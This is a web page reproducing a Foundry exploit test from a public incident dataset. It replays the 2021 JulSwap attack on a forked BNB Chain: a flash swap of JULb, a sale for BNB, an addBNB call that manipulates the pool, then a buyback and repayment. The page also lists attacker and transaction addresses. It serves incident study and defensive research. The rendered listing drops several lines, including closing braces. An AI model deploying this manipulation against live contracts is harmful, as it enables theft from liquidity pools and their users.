Skip to content
THREATWIRE

Public reproduction file

src/test/2021-05/JulSwap_exp.sol

Public reproduction file for dataset entry JulSwap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-05/JulSwap_exp.sol87 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1.5M
8// Attacker : https://bscscan.com/address/0xc3bc29941677db01b9645f7b8b72d27e3ba75372
9// Attack Contract : https://bscscan.com/address/0x7c591aab9429af81287951872595a17d5837ce03
10// Vulnerable Contract : https://bscscan.com/address/0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d
11// Attack Tx : https://bscscan.com/tx/0x1751268e620767ff117c5c280e9214389b7c1961c42e77fc704fd88e22f4f77a
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
20pragma solidity ^0.8.0;
22interface IBNBRouter {
23 function swapExactTokensForBNB(
24 uint256 amountIn,
25 uint256 amountOutMin,
26 address[] calldata path,
27 address to,
28 uint256 deadline
29 ) external returns (uint256[] memory amounts);
30 function swapBNBForExactTokens(
31 uint256 amountOut,
32 address[] calldata path,
33 address to,
34 uint256 deadline
35 ) external payable returns (uint256[] memory amounts);
38interface IJulProtocolV2 {
39 function addBNB() external payable;
42contract JulSwap is BaseTestWithBalanceLog {
43 uint256 blocknumToForkFrom = 7_785_586;
45 address internal BSCswapPair = 0x0242c5C11E3eaeb53298b45C7395DbaDc8a120E7;
46 address internal JULb = 0x32dFFc3fE8E3EF3571bF8a72c0d0015C5373f41D;
47 address internal wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
48 address internal Router = 0xbd67d157502A23309Db761c41965600c2Ec788b2;
49 address internal JulProtocolV2 = 0x41a2F9AB325577f92e8653853c12823b35fb35c4;
50 address internal LP = 0xCcFE1A5b6e4aD16A4e41A9142673dEc829f39402;
52 function setUp() public {
53 vm.createSelectFork("bsc", blocknumToForkFrom);
54 deal(wBNB, address(this), 1000 ether);
55 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
56 fundingToken = address(0);
57 }
59 function testExploit() public balanceLog {
60 //implement exploit code here
61 uint256 amount0Out = 70_000_000_000_000_000_000_000;
62 uint256 amount1Out = 0;
63 IUniswapV2Pair(BSCswapPair).swap(amount0Out, amount1Out, address(this), "1");
64 }
66 function BSCswapCall(address, uint256 amount0, uint256, bytes memory) external {
67 IERC20(JULb).approve(Router, type(uint256).max);
69 address[] memory path0 = new address[](2);
70 path0[0] = JULb;
71 path0[1] = wBNB;
72 IBNBRouter(Router).swapExactTokensForBNB(amount0, 1, path0, address(this), 1_622_156_211);
74 IJulProtocolV2(JulProtocolV2).addBNB{value: 515 ether}();
76 uint256 amountOut = 70_310_631_895_687_061_183_551;
77 address[] memory path1 = new address[](2);
78 path1[0] = wBNB;
79 path1[1] = JULb;
80 IBNBRouter(Router).swapBNBForExactTokens{value: 885.146882180525770269 ether}(
81 amountOut, path1, address(this), 1_622_156_211
82 );
83 IERC20(JULb).transfer(BSCswapPair, 70_210_631_895_687_061_183_551);
84 }
86 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “JulSwap” (2021-05-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc3bc29941677db01b9645f7b8b72d27e3ba75372

  • Attack Contract

    0x7c591aab9429af81287951872595a17d5837ce03

  • Vulnerable Contract

    0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d

  • Attack Tx

    0x1751268e620767ff117c5c280e9214389b7c1961c42e77fc704fd88e22f4f77a

File record

Name
JulSwap
Path
src/test/2021-05/JulSwap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1993c0f1bc61742f4358b3139f69c5c83ea7c62b
Language
Solidity
Size
88 lines
Date
2021-05-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2021-05/JulSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1993c0f1bc61742f4358b3139f69c5c83ea7c62b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.